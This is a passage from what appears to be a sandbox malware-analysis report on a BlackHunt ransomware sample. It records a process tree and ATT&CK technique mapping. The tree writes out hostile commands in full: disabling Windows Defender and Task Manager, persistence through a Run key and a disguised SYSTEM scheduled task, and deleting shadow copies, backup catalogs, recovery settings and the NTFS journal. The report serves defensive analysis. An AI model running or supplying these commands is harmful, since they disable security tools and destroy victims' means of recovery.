    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1996
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    PID:1792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1336
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    PID:2056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:3596
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:3816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1412
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1672
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3624
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:3368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:232
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:4172
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:5048
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:4064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:3264
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:4344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:1740
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2572
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:4940
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:1472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:3064
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:3700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2136
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:4728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:4000
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies registry class
    PID:1792
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2252
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:1584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4528
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:4012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4864
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:4936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2000
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:3512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:5052
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1464
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:4244
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:3324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2228
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:4180
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4464
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:4668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:4960
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:4192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:4200
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2128
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:4248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:4264
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    - Adds Run key to start application
    PID:2056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:404
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:3532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe" /F
  2⤵
  PID:2492
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\2f18be6210f93cfece7c4a31fc4047849d07a84ad74e8597da7048851f637de5.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:3232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2380
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3596
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2632
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1776
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:4388
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:1428
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:3632
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:388
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:2276
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:5132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:4396
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5764
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:4124
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5332
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:4308
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    - Drops file in Windows directory
    PID:5768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3200
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:5752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:908
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:5956

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:6124

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
PID:1552

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5828

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery